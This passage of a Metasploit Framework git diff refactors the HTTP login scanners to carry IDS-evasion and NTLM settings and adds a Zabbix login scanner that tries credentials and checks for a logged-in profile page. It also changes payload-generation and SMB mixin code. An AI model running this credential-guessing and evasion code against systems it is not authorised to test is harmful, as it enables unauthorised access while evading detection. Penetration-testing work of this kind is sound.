attr_accessor :ntlm_use_lm_key + + # @!attribute ntlm_domain + # @return [String] The NTLM domain to use during authentication + attr_accessor :ntlm_domain + + # @!attribute digest_auth_iis + # @return [Boolean] Whether to conform to IIS digest authentication mode. + attr_accessor :digest_auth_iis + validates :uri, presence: true, length: { minimum: 1 } @@ -47,7 +163,7 @@ class HTTP # (see Base#check_setup) def check_setup http_client = Rex::Proto::Http::Client.new( - host, port, {}, ssl, ssl_version, proxies + host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies ) request = http_client.request_cgi( 'uri' => uri, @@ -55,7 +171,7 @@ def check_setup ) begin - # Use _send_recv instead of send_recv to skip automatiu + # Use _send_recv instead of send_recv to skip automatic # authentication response = http_client._send_recv(request) rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error @@ -77,7 +193,6 @@ def check_setup # login with. # @return [Result] A Result object indicating success or failure def attempt_login(credential) - ssl = false if ssl.nil? result_opts = { credential: credential, @@ -95,11 +210,11 @@ def attempt_login(credential) end http_client = Rex::Proto::Http::Client.new( - host, port, {}, ssl, ssl_version, + host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies, credential.public, credential.private ) - http_client = config_client(http_client) + configure_http_client(http_client) if credential.realm http_client.set_config('domain' => credential.realm) @@ -127,12 +242,53 @@ def attempt_login(credential) private - def config_client(client) - client.set_config( - 'vhost' => vhost || host, - 'agent' => user_agent + # This method is responsible for mapping the caller's datastore options to the + # Rex::Proto::Http::Client configuration parameters. + def configure_http_client(http_client) + http_client.set_config( + 'vhost' => vhost || host, + 'agent' => user_agent ) - client + + possible_params = { + 'uri_encode_mode' => evade_uri_encode_mode, + 'uri_full_url' => evade_uri_full_url, + 'pad_method_uri_count' => evade_pad_method_uri_count, + 'pad_uri_version_count' => evade_pad_uri_version_count, + 'pad_method_uri_type' => evade_pad_method_uri_type, + 'pad_uri_version_type' => evade_pad_uri_version_type, + 'method_random_valid' => evade_method_random_valid, + 'method_random_invalid' => evade_method_random_invalid, + 'method_random_case' => evade_method_random_case, + 'uri_dir_self_reference' => evade_uri_dir_self_reference, + 'uri_dir_fake_relative' => evade_uri_dir_fake_relative, + 'uri_use_backslashes' => evade_uri_use_backslashes, + 'pad_fake_headers' => evade_pad_fake_headers, + 'pad_fake_headers_count' => evade_pad_fake_headers_count, + 'pad_get_params' => evade_pad_get_params, + 'pad_get_params_count' => evade_pad_get_params_count, + 'pad_post_params' => evade_pad_post_params, + 'pad_post_params_count' => evade_pad_post_params_count, + 'uri_fake_end' => evade_uri_fake_end, + 'uri_fake_params_start' => evade_uri_fake_params_start, + 'header_folding' => evade_header_folding, + 'usentlm2_session' => ntlm_use_ntlmv2_session, + 'use_ntlmv2' => ntlm_use_ntlmv2, + 'send_lm' => ntlm_send_lm, + 'send_ntlm' => ntlm_send_ntlm, + 'SendSPN' => ntlm_send_spn, + 'UseLMKey' => ntlm_use_lm_key, + 'domain' => ntlm_domain, + 'DigestAuthIIS' => digest_auth_iis + } + + # Set the parameter only if it is not nil + possible_params.each_pair do |k,v| + next if v.nil? + http_client.set_config(k => v) + end + + http_client end # This method sets the sane defaults for things @@ -157,9 +313,21 @@ def set_sane_defaults self.ssl = true end + if self.ssl.nil? + self.ssl = false + end + nil end + # Combine the base URI with the target URI in a sane fashion + # + # @param [String] The target URL + # @return [String] the final URL mapped against the base + def normalize_uri(target_uri) + (self.uri.to_s + "/" + target_uri.to_s).gsub(/\/+/, '/') + end + end end end diff --git a/lib/metasploit/framework/login_scanner/ipboard.rb b/lib/metasploit/framework/login_scanner/ipboard.rb index c7c45e3f059b..f322c9e6293a 100644 --- a/lib/metasploit/framework/login_scanner/ipboard.rb +++ b/lib/metasploit/framework/login_scanner/ipboard.rb @@ -10,10 +10,9 @@ class IPBoard < HTTP # (see Base#attempt_login) def attempt_login(credential) http_client = Rex::Proto::Http::Client.new( - host, port, {}, ssl, ssl_version, proxies + host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies ) - - http_client = config_client(http_client) + configure_http_client(http_client) result_opts = { credential: credential, diff --git a/lib/metasploit/framework/login_scanner/jenkins.rb b/lib/metasploit/framework/login_scanner/jenkins.rb index c2f355251fa4..5117c6e6416e 100644 --- a/lib/metasploit/framework/login_scanner/jenkins.rb +++ b/lib/metasploit/framework/login_scanner/jenkins.rb @@ -33,7 +33,8 @@ def attempt_login(credential) result_opts[:service_name] = 'http' end begin - cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version, proxies) + cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies) + configure_http_client(cli) cli.connect req = cli.request_cgi({ 'method'=>'POST', diff --git a/lib/metasploit/framework/login_scanner/mybook_live.rb b/lib/metasploit/framework/login_scanner/mybook_live.rb index 2f32ebe304e5..a69b304934fb 100644 --- a/lib/metasploit/framework/login_scanner/mybook_live.rb +++ b/lib/metasploit/framework/login_scanner/mybook_live.rb @@ -35,7 +35,8 @@ def attempt_login(credential) begin cred = Rex::Text.uri_encode(credential.private) body = "data%5BLogin%5D%5Bowner_name%5D=admin&data%5BLogin%5D%5Bowner_passwd%5D=#{cred}" - cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version) + cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version) + configure_http_client(cli) cli.connect req = cli.request_cgi( 'method' => method, diff --git a/lib/metasploit/framework/login_scanner/smh.rb b/lib/metasploit/framework/login_scanner/smh.rb index 10d02c8673c9..b8c4ca6c5116 100644 --- a/lib/metasploit/framework/login_scanner/smh.rb +++ b/lib/metasploit/framework/login_scanner/smh.rb @@ -21,7 +21,7 @@ def attempt_login(credential) req_opts = { 'method' => 'POST', - 'uri' => '/proxy/ssllogin', + 'uri' => uri, 'vars_post' => { 'redirecturl' => '', 'redirectquerystring' => '', @@ -33,7 +33,8 @@ def attempt_login(credential) res = nil begin - cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version, proxies) + cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies) + configure_http_client(cli) cli.connect req = cli.request_cgi(req_opts) res = cli.send_recv(req) diff --git a/lib/metasploit/framework/login_scanner/wordpress_rpc.rb b/lib/metasploit/framework/login_scanner/wordpress_rpc.rb index 9166545e9953..8b67147a67c4 100644 --- a/lib/metasploit/framework/login_scanner/wordpress_rpc.rb +++ b/lib/metasploit/framework/login_scanner/wordpress_rpc.rb @@ -10,8 +10,9 @@ class WordpressRPC < HTTP # (see Base#attempt_login) def attempt_login(credential) http_client = Rex::Proto::Http::Client.new( - host, port, {}, ssl, ssl_version, proxies + host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies ) + configure_http_client(http_client) result_opts = { credential: credential, diff --git a/lib/metasploit/framework/login_scanner/zabbix.rb b/lib/metasploit/framework/login_scanner/zabbix.rb new file mode 100644 index 000000000000..17bdb3ff912e --- /dev/null +++ b/lib/metasploit/framework/login_scanner/zabbix.rb @@ -0,0 +1,137 @@ + +require 'metasploit/framework/login_scanner/http' + +module Metasploit + module Framework + module LoginScanner + + # The Zabbix HTTP LoginScanner class provides methods to do login routines + # for Zabbix 2.4 and 2.2 + class Zabbix < HTTP + + DEFAULT_PORT = 80 + PRIVATE_TYPES = [ :password ] + + # @!attribute version + # @return [String] Product version + attr_accessor :version + + # @!attribute zsession + # @return [String] Cookie session + attr_accessor :zsession + + # Decides which login routine and returns the results + # + # @param credential [Metasploit::Framework::Credential] The credential object + # @return [Result] + def attempt_login(credential) + result_opts = { credential: credential } + + begin + status = try_login(credential) + result_opts.merge!(status) + rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error => e + result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e) + end + + Result.new(result_opts) + end + + + # (see Base#check_setup) + def check_setup + begin + res = send_request({'uri' => normalize_uri('/')}) + return "Connection failed" if res.nil? + + if res.code != 200 + return "Unexpected HTTP response code #{res.code} (is this really Zabbix?)" + end + + if res.body.to_s !~ /Zabbix ([^\s]+) Copyright .* by Zabbix/m + return "Unexpected HTTP body (is this really Zabbix?)" + end + + self.version = $1 + + rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error + return "Unable to connect to target" + end + + false + end + + # Sends a HTTP request with Rex + # + # @param (see Rex::Proto::Http::Resquest#request_raw) + # @return [Rex::Proto::Http::Response] The HTTP response + def send_request(opts) + cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => self}, ssl, ssl_version, proxies) + configure_http_client(cli) + cli.connect + req = cli.request_raw(opts) + res = cli.send_recv(req) + + # Found a cookie? Set it. We're going to need it. + if res && res.get_cookies =~ /zbx_sessionid=(\w*);/i + self.zsession = $1 + end + + res + end + + # Sends a login request + # + # @param credential [Metasploit::Framework::Credential] The credential object + # @return [Rex::Proto::Http::Response] The HTTP auth response + def try_credential(credential) + + data = "request=" + data << "&name=#{Rex::Text.uri_encode(credential.public)}" + data << "&password=#{Rex::Text.uri_encode(credential.private)}" + data << "&autologin=1" + data << "&enter=Sign%20in" + + opts = { + 'uri' => normalize_uri('index.php'), + 'method' => 'POST', + 'data' => data, + 'headers' => { + 'Content-Type' => 'application/x-www-form-urlencoded' + } + } + + send_request(opts) + end + + + # Tries to login to Zabbix + # + # @param credential [Metasploit::Framework::Credential] The credential object + # @return [Hash] + # * :status [Metasploit::Model::Login::Status] + # * :proof [String] the HTTP response body + def try_login(credential) + res = try_credential(credential) + if res && res.code == 302 + opts = { + 'uri' => normalize_uri('profile.php'), + 'method' => 'GET', + 'headers' => { + 'Cookie' => "zbx_sessionid=#{self.zsession}" + } + } + res = send_request(opts) + if (res && res.code == 200 && res.body.to_s =~ /<title>Zabbix .*: User profile<\/title>/) + return {:status => Metasploit::Model::Login::Status::SUCCESSFUL, :proof => res.body} + end + end + + {:status => Metasploit::Model::Login::Status::INCORRECT, :proof => res.body} + end + + end + end + end +end + diff --git a/lib/metasploit/framework/mssql/client.rb b/lib/metasploit/framework/mssql/client.rb index 9db3cc34fc86..44cd0cf424fc 100644 --- a/lib/metasploit/framework/mssql/client.rb +++ b/lib/metasploit/framework/mssql/client.rb @@ -51,8 +51,7 @@ def mssql_login(user='sa', pass='', db='', domain_name='') # Send a prelogin packet and check that encryption is not enabled if mssql_prelogin() != ENCRYPT_NOT_SUP - print_error("Encryption is not supported") - return false + raise ::Rex::ConnectionError, "Encryption is not supported" end if windows_authentication diff --git a/lib/msf/base/simple/buffer.rb b/lib/msf/base/simple/buffer.rb index 3eeb044f6c8b..d786bafda600 100644 --- a/lib/msf/base/simple/buffer.rb +++ b/lib/msf/base/simple/buffer.rb @@ -25,6 +25,8 @@ def self.transform(buf, fmt = "ruby", var_name = 'buf') when 'raw' when 'num' buf = Rex::Text.to_num(buf) + when 'hex' + buf = Rex::Text.to_hex(buf, '') when 'dword', 'dw' buf = Rex::Text.to_dword(buf) when 'python', 'py' @@ -65,7 +67,7 @@ def self.transform(buf, fmt = "ruby", var_name = 'buf') def self.comment(buf, fmt = "ruby") case fmt when 'raw' - when 'num', 'dword', 'dw' + when 'num', 'dword', 'dw', 'hex' buf = Rex::Text.to_js_comment(buf) when 'ruby', 'rb', 'python', 'py' buf = Rex::Text.to_ruby_comment(buf) @@ -98,6 +100,7 @@ def self.transform_formats 'csharp', 'dw', 'dword', + 'hex', 'java', 'js_be', 'js_le', diff --git a/lib/msf/core.rb b/lib/msf/core.rb index 7b44b365b447..b93efa2b23de 100644 --- a/lib/msf/core.rb +++ b/lib/msf/core.rb @@ -75,6 +75,12 @@ module Msf # Kerberos Support require 'msf/kerberos/client' +# Java RMI Support +require 'msf/java/rmi/client' + +# Java JMX Support +require 'msf/java/jmx' + # Drivers require 'msf/core/exploit_driver' diff --git a/lib/msf/core/data_store.rb b/lib/msf/core/data_store.rb index 5ffbf81bce58..f234e486f739 100644 --- a/lib/msf/core/data_store.rb +++ b/lib/msf/core/data_store.rb @@ -43,6 +43,13 @@ def store(k,v) super(find_key_case(k), v) end + # + # Case-insensitive wrapper around delete + # + def delete(k) + super(find_key_case(k)) + end + # # Updates a value in the datastore with the specified name, k, to the diff --git a/lib/msf/core/exploit/exe.rb b/lib/msf/core/exploit/exe.rb index f6051b4fcf08..49f9b72e6764 100644 --- a/lib/msf/core/exploit/exe.rb +++ b/lib/msf/core/exploit/exe.rb @@ -48,7 +48,7 @@ def get_custom_exe(path = nil) end def generate_payload_exe(opts = {}) - return get_custom_exe if datastore.include? 'EXE::Custom' + return get_custom_exe unless datastore['EXE::Custom'].to_s.strip.empty? return get_eicar_exe if datastore['EXE::EICAR'] exe_init_options(opts) @@ -73,7 +73,7 @@ def generate_payload_exe(opts = {}) end def generate_payload_exe_service(opts = {}) - return get_custom_exe if datastore.include? 'EXE::Custom' + return get_custom_exe unless datastore['EXE::Custom'].to_s.strip.empty? return get_eicar_exe if datastore['EXE::EICAR'] exe_init_options(opts) @@ -96,7 +96,7 @@ def generate_payload_exe_service(opts = {}) end def generate_payload_dll(opts = {}) - return get_custom_exe if datastore.include? 'EXE::Custom' + return get_custom_exe unless datastore['EXE::Custom'].to_s.strip.empty? return get_eicar_exe if datastore['EXE::EICAR'] exe_init_options(opts) @@ -125,7 +125,7 @@ def generate_payload_dll(opts = {}) end def generate_payload_msi(opts = {}) - return get_custom_exe(datastore['MSI::Custom']) if datastore.include? 'MSI::Custom' + return get_custom_exe(datastore['MSI::Custom']) unless datastore['MSI::Custom'].to_s.strip.empty? return get_eicar_exe if datastore['MSI::EICAR'] exe = generate_payload_exe(opts) diff --git a/lib/msf/core/exploit/http/client.rb b/lib/msf/core/exploit/http/client.rb index 470558ce3239..8c024ed3142c 100644 --- a/lib/msf/core/exploit/http/client.rb +++ b/lib/msf/core/exploit/http/client.rb @@ -210,6 +210,54 @@ def connect(opts={}) return nclient end + # + # Converts datastore options into configuration parameters for the + # Metasploit::LoginScanner::Http class. Any parameters passed into + # this method will override the defaults. + # + def configure_http_login_scanner(conf) + { + host: rhost, + port: rport, + ssl: ssl, + ssl_version: ssl_version, + proxies: datastore['PROXIES'], + framework: framework, + framework_module: self, + vhost: vhost, + user_agent: datastore['UserAgent'], + evade_uri_encode_mode: datastore['HTTP::uri_encode_mode'], + evade_uri_full_url: datastore['HTTP::uri_full_url'], + evade_pad_method_uri_count: datastore['HTTP::pad_method_uri_count'], + evade_pad_uri_version_count: datastore['HTTP::pad_uri_version_count'], + evade_pad_method_uri_type: datastore['HTTP::pad_method_uri_type'], + evade_pad_uri_version_type: datastore['HTTP::pad_uri_version_type'], + evade_method_random_valid: datastore['HTTP::method_random_valid'], + evade_method_random_invalid: datastore['HTTP::method_random_invalid'], + evade_method_random_case: datastore['HTTP::method_random_case'], + evade_uri_dir_self_reference: datastore['HTTP::uri_dir_self_reference'], + evade_uri_dir_fake_relative: datastore['HTTP::uri_dir_fake_relative'], + evade_uri_use_backslashes: datastore['HTTP::uri_use_backslashes'], + evade_pad_fake_headers: datastore['HTTP::pad_fake_headers'], + evade_pad_fake_headers_count: datastore['HTTP::pad_fake_headers_count'], + evade_pad_get_params: datastore['HTTP::pad_get_params'], + evade_pad_get_params_count: datastore['HTTP::pad_get_params_count'], + evade_pad_post_params: datastore['HTTP::pad_post_params'], + evade_pad_post_params_count: datastore['HTTP::pad_post_params_count'], + evade_uri_fake_end: datastore['HTTP::uri_fake_end'], + evade_uri_fake_params_start: datastore['HTTP::uri_fake_params_start'], + evade_header_folding: datastore['HTTP::header_folding'], + ntlm_use_ntlmv2_session: datastore['NTLM::UseNTLM2_session'], + ntlm_use_ntlmv2: datastore['NTLM::UseNTLMv2'], + ntlm_send_lm: datastore['NTLM::SendLM'], + ntlm_send_ntlm: datastore['NTLM::SendNTLM'], + ntlm_send_spn: datastore['NTLM::SendSPN'], + ntlm_use_lm_key: datastore['NTLM::UseLMKey'], + ntlm_domain: datastore['DOMAIN'], + digest_auth_iis: datastore['DigestAuthIIS'] + }.merge(conf) + end + # # Passes the client connection down to the handler to see if it's of any # use. diff --git a/lib/msf/core/exploit/mixins.rb b/lib/msf/core/exploit/mixins.rb index d2b8c575c607..cd7edc03f962 100644 --- a/lib/msf/core/exploit/mixins.rb +++ b/lib/msf/core/exploit/mixins.rb @@ -28,9 +28,11 @@ require 'msf/core/exploit/dhcp' require 'msf/core/exploit/ntlm' require 'msf/core/exploit/dcerpc' -require 'msf/core/exploit/smb' -require 'msf/core/exploit/smb/authenticated' -require 'msf/core/exploit/smb/psexec' +require 'msf/core/exploit/smb/client' +require 'msf/core/exploit/smb/client/authenticated' +require 'msf/core/exploit/smb/client/psexec' +require 'msf/core/exploit/smb/server' +require 'msf/core/exploit/smb/server/share' require 'msf/core/exploit/ftp' require 'msf/core/exploit/tftp' require 'msf/core/exploit/telnet' diff --git a/lib/msf/core/exploit/ntlm.rb b/lib/msf/core/exploit/ntlm.rb index 7490c2f44a4c..553ad1798657 100644 --- a/lib/msf/core/exploit/ntlm.rb +++ b/lib/msf/core/exploit/ntlm.rb @@ -52,7 +52,7 @@ def initialize(info = {}) # SendSPN will send an avp of type 9/SPN in the ntlmv2 client blob, this is mandatory on windows seven / 2008 r2 if # Microsoft network server : Server SPN target name validation level is set to <Required from client> or we get an STATUS_ACCESS_DENIED # - OptBool.new('NTLM::SendSPN', [ true, 'Send an avp of type SPN in the ntlmv2 client Blob, this allow authentification on windows Seven/2008r2 when SPN is required', true]), + OptBool.new('NTLM::SendSPN', [ true, 'Send an avp of type SPN in the ntlmv2 client blob, this allows authentication on Windows 7+/Server 2008 R2+ when SPN is required', true]), ], Msf::Exploit::NTLM::Client) end end diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index 0a9e8d9e8c33..b277fd9fa260 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -20,6 +20,8 @@ module Msf module Exploit::Remote::BrowserExploitServer + class BESException < RuntimeError; end + include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb include Msf::Exploit::JSObfu @@ -521,7 +523,13 @@ def on_request_uri(cli, request) try_set_target(profile) bad_reqs = get_bad_requirements(profile) if bad_reqs.empty? - method(:on_request_exploit).call(cli, request, profile) + begin + method(:on_request_exploit).call(cli, request, profile) + rescue BESException => e + elog("BESException: #{e.message}\n#{e.backtrace * "\n"}") + send_not_found(cli) + print_error("BESException: #{e.message}") + end else print_warning("Exploit requirement(s) not met: #{bad_reqs * ', '}. For more info: http://r-7.co/PVbcgx") if bad_reqs.include?(:vuln_test) @@ -586,7 +594,15 @@ def get_payload(cli, browser_info) platform = platform.gsub(/^Mac OS X$/, 'OSX') platform = platform.gsub(/^Windows.*$/, 'Windows') - regenerate_payload(cli, platform, arch).encoded + p = regenerate_payload(cli, platform, arch) + + unless p.arch.include?(arch) + err = "The payload arch (#{p.arch * ", "}) is incompatible with the #{arch} target. " + err << "Please check your payload setting." + raise BESException, err + end + + return p.encoded end # @return [String] custom Javascript to check if a vulnerability is present diff --git a/lib/msf/core/exploit/smb.rb b/lib/msf/core/exploit/smb.rb deleted file mode 100644 index b044eb2c1a66..000000000000 --- a/lib/msf/core/exploit/smb.rb +++ /dev/null @@ -1,645 +0,0 @@ -# -*- coding: binary -*- -require 'rex/proto/smb' -require 'rex/proto/ntlm' -require 'rex/proto/dcerpc' -require 'rex/encoder/ndr' - -module Msf - -require 'msf/core/exploit/smb_server' - -### -# -# This mixin provides utility methods for interacting with a SMB/CIFS service on -# a remote machine. These methods may generally be useful in the context of -# exploitation. This mixin extends the Tcp exploit mixin. Only one SMB -# service can be accessed at a time using this class. -# -### - -module Exploit::Remote::SMB - - include Exploit::Remote::Tcp - include Exploit::Remote::NTLM::Client - - SIMPLE = Rex::Proto::SMB::SimpleClient - XCEPT = Rex::Proto::SMB::Exceptions - CONST = Rex::Proto::SMB::Constants - - - # Alias over the Rex DCERPC protocol modules - DCERPCPacket = Rex::Proto::DCERPC::Packet - DCERPCClient = Rex::Proto::DCERPC::Client - DCERPCResponse = Rex::Proto::DCERPC::Response - DCERPCUUID = Rex::Proto::DCERPC::UUID - NDR = Rex::Encoder::NDR - - def initialize(info = {}) - super - - register_evasion_options( - [ - OptBool.new('SMB::pipe_evasion', [ true, 'Enable segmented read/writes for SMB Pipes', false]), - OptInt.new('SMB::pipe_write_min_size', [ true, 'Minimum buffer size for pipe writes', 1]), - OptInt.new('SMB::pipe_write_max_size', [ true, 'Maximum buffer size for pipe writes', 1024]), - OptInt.new('SMB::pipe_read_min_size', [ true, 'Minimum buffer size for pipe reads', 1]), - OptInt.new('SMB::pipe_read_max_size', [ true, 'Maximum buffer size for pipe reads', 1024]), - OptInt.new('SMB::pad_data_level', [ true, 'Place extra padding between headers and data (level 0-3)', 0]), - OptInt.new('SMB::pad_file_level', [ true, 'Obscure path names used in open/create (level 0-3)', 0]), - OptInt.new('SMB::obscure_trans_pipe_level', [ true, 'Obscure PIPE string in TransNamedPipe (level 0-3)', 0]), - - ], Msf::Exploit::Remote::SMB) - - register_advanced_options( - [ - OptBool.new('SMBDirect', [ true, 'The target port is a raw SMB service (not NetBIOS)', true ]), - OptString.new('SMBUser', [ false, 'The username to authenticate as', '']), - OptString.new('SMBPass', [ false, 'The password for the specified username', '']), - OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication', '.']), - OptString.new('SMBName', [ true, 'The NetBIOS hostname (required for port 139 connections)', '*SMBSERVER']), - OptBool.new('SMB::VerifySignature', [ true, "Enforces client-side verification of server response signatures", false]), - OptInt.new('SMB::ChunkSize', [ true, 'The chunk size for SMB segments, bigger values will increase speed but break NT 4.0 and SMB signing', 500]), - # - # Control the identified operating system of the client - # - OptString.new('SMB::Native_OS', [ true, 'The Native OS to send during authentication', 'Windows 2000 2195']), - OptString.new('SMB::Native_LM', [ true, 'The Native LM to send during authentication', 'Windows 2000 5.0']), - - ], Msf::Exploit::Remote::SMB) - - register_options( - [ - Opt::RHOST, - OptInt.new('RPORT', [ true, 'Set the SMB service port', 445]) - ], Msf::Exploit::Remote::SMB) - - register_autofilter_ports([ 139, 445]) - register_autofilter_services(%W{ netbios-ssn microsoft-ds }) - end - - # Override {Exploit::Remote::Tcp#connect} to setup an SMB connection - # and configure evasion options - # - # Also populates {#simple}. - # - # @param (see Exploit::Remote::Tcp#connect) - # @return (see Exploit::Remote::Tcp#connect) - def connect(global=true) - - disconnect() if global - - s = super(global) - self.sock = s if global - - # Disable direct SMB when SMBDirect has not been set - # and the destination port is configured as 139 - direct = smb_direct - if(datastore.default?('SMBDirect') and rport.to_i == 139) - direct = false - end - - c = SIMPLE.new(s, direct) - - # setup pipe evasion foo - if datastore['SMB::pipe_evasion'] - # XXX - insert code to change the instance of the read/write functions to do segmentation - end - - if (datastore['SMB::pad_data_level']) - c.client.evasion_opts['pad_data'] = datastore['SMB::pad_data_level'] - end - - if (datastore['SMB::pad_file_level']) - c.client.evasion_opts['pad_file'] = datastore['SMB::pad_file_level'] - end - - if (datastore['SMB::obscure_trans_pipe_level']) - c.client.evasion_opts['obscure_trans_pipe'] = datastore['SMB::obscure_trans_pipe_level'] - end - - self.simple = c if global - c - end - - # Convert a standard ASCII string to 16-bit Unicode - def unicode(str) - Rex::Text.to_unicode(str) - end - - # Establishes an SMB session over the default socket and connects to - # the IPC$ share. - # - # You should call {#connect} before calling this - # - # @return [void] - def smb_login - simple.login( - datastore['SMBName'], - datastore['SMBUser'], - datastore['SMBPass'], - datastore['SMBDomain'], - datastore['SMB::VerifySignature'], - datastore['NTLM::UseNTLMv2'], - datastore['NTLM::UseNTLM2_session'], - datastore['NTLM::SendLM'], - datastore['NTLM::UseLMKey'], - datastore['NTLM::SendNTLM'], - datastore['SMB::Native_OS'], - datastore['SMB::Native_LM'], - {:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost} - ) - simple.connect("\\\\#{datastore['RHOST']}\\IPC$") - end - - - # This method returns the native operating system of the peer - def smb_peer_os - self.simple.client.peer_native_os - end - - # This method returns the native lanman version of the peer - def smb_peer_lm - self.simple.client.peer_native_lm - end - - # This method opens a handle to an IPC pipe - def smb_create(pipe) - self.simple.create_pipe(pipe) - end - - #the default chunk size of 48000 for OpenFile is not compatible when signing is enabled (and with some nt4 implementations) - #cause it looks like MS windows refuse to sign big packet and send STATUS_ACCESS_DENIED - #fd.chunk_size = 500 is better - def smb_open(path, perm) - self.simple.open(path, perm, datastore['SMB::ChunkSize']) - end - - def smb_hostname - datastore['SMBName'] || '*SMBSERVER' - end - - def smb_direct - datastore['SMBDirect'] - end - - def domain - datastore['SMBDomain'] - end - - def smbhost - if domain == "." - "#{rhost}:#{rport}" - else - "#{rhost}:#{rport}|#{domain}" - end - end - - # If the username contains a / slash, then - # split it as a domain/username. NOTE: this - # is predicated on forward slashes, and not - # Microsoft's backwards slash convention. - def domain_username_split(user) - return user if(user.nil? || user.empty?) - if !user[/\//] # Only /, not \! - return [nil,user] - else - return user.split("/",2) - end - end - - def splitname(uname) - if datastore["PRESERVE_DOMAINS"] - d,u = domain_username_split(uname) - return u - else - return uname - end - end - - # Whether a remote file exists - # - # @param file [String] Path to a file to remove, relative to the - # most-recently connected share - # @raise [Rex::Proto::SMB::Exceptions::ErrorCode] - def smb_file_exist?(file) - begin - fd = simple.open(file, 'ro') - rescue XCEPT::ErrorCode => e - # If attempting to open the file results in a "*_NOT_FOUND" error, - # then we can be sure the file is not there. - # - # Copy-pasted from smb/exceptions.rb to avoid the gymnastics - # required to pull them out of a giant inverted hash - # - # 0xC0000034 => "STATUS_OBJECT_NAME_NOT_FOUND", - # 0xC000003A => "STATUS_OBJECT_PATH_NOT_FOUND", - # 0xC0000225 => "STATUS_NOT_FOUND", - error_is_not_found = [ 0xC0000034, 0xC000003A, 0xC0000225 ].include?(e.error_code) - # If the server returns some other error, then there was a - # permissions problem or some other difficulty that we can't - # really account for and hope the caller can deal with it. - raise e unless error_is_not_found - found = !error_is_not_found - else - # There was no exception, so we know the file is openable - fd.close - found = true - end - - found - end - - # Remove remote file - # - # @param file (see #smb_file_exist?) - # @return [void] - def smb_file_rm(file) - fd = smb_open(file, 'ro') - fd.delete - end - - - # - # Fingerprinting methods - # - - - # Calls the EnumPrinters() function of the spooler service - def smb_enumprinters(flags, name, level, blen) - stub = - NDR.long(flags) + - (name ? NDR.uwstring(name) : NDR.long(0)) + - NDR.long(level) + - NDR.long(rand(0xffffffff)+1)+ - NDR.long(blen) + - "\x00" * blen + - NDR.long(blen) - - handle = dcerpc_handle( - '12345678-1234-abcd-ef00-0123456789ab', '1.0', - 'ncacn_np', ["\\SPOOLSS"] - ) - - begin - dcerpc_bind(handle) - dcerpc.call(0x00, stub) - return dcerpc.last_response.stub_data - rescue ::Interrupt - raise $! - rescue ::Exception => e - return nil - end - end - - # This method dumps the print provider strings from the spooler - def smb_enumprintproviders - resp = smb_enumprinters(8, nil, 1, 0) - return nil if not resp - rptr, tmp, blen = resp.unpack("V*") - - resp = smb_enumprinters(8, nil, 1, blen) - return nil if not resp - - bcnt,pcnt,stat = resp[-12, 12].unpack("VVV") - return nil if stat != 0 - return nil if pcnt == 0 - return nil if bcnt > blen - return nil if pcnt < 3 - - # - # The correct way, which leads to invalid offsets :-( - # - #providers = [] - # - #0.upto(pcnt-1) do |i| - # flags,desc_o,name_o,comm_o = resp[8 + (i*16), 16].unpack("VVVV") - # - # #desc = read_unicode(resp,8+desc_o).gsub("\x00", '') - # #name = read_unicode(resp,8+name_o).gsub("\x00", '') - # #comm = read_unicode(resp,8+comm_o).gsub("\x00", '') - # #providers << [flags,desc,name,comm] - #end - # - #providers - - return resp - - end - - # This method performs an extensive set of fingerprinting operations - def smb_fingerprint - fprint = {} - - # Connect to the server if needed - if not self.simple - connect() - smb_login() - end - - fprint['native_os'] = smb_peer_os() - fprint['native_lm'] = smb_peer_lm() - - # Leverage Recog for SMB native OS fingerprinting - fp_match = Recog::Nizer.match('smb.native_os', fprint['native_os']) || { } - - os = fp_match['os.product'] || 'Unknown' - sp = fp_match['os.version'] || '' - - # Metasploit prefers 'Windows 2003' vs 'Windows Server 2003' - if os =~ /^Windows Server/ - os = os.sub(/^Windows Server/, 'Windows') - end - - if fp_match['os.edition'] - fprint['edition'] = fp_match['os.edition'] - end - - if fp_match['os.build'] - fprint['build'] = fp_match['os.build'] - end - - if sp == '' - sp = smb_fingerprint_windows_sp(os) - end - - lang = smb_fingerprint_windows_lang - - fprint['os'] = os - fprint['sp'] = sp - fprint['lang'] = lang - - fprint - end - - # - # Determine the service pack level of a Windows system via SMB probes - # - def smb_fingerprint_windows_sp(os) - sp = '' - - if (os == 'Windows XP') - # SRVSVC was blocked in SP2 - begin - smb_create("\\SRVSVC") - sp = 'Service Pack 0 / 1' - rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e - if (e.error_code == 0xc0000022) - sp = 'Service Pack 2+' - end - end - end - - if (os == 'Windows 2000' and sp.length == 0) - # LLSRPC was blocked in a post-SP4 update - begin - smb_create("\\LLSRPC") - sp = 'Service Pack 0 - 4' - rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e - if (e.error_code == 0xc0000022) - sp = 'Service Pack 4 with MS05-010+' - end - end - end - - # - # Perform granular XP SP checks if LSARPC is exposed - # - if (os == 'Windows XP') - - # - # Service Pack 2 added a range(0,64000) to opnum 0x22 in SRVSVC - # Credit to spoonm for first use of unbounded 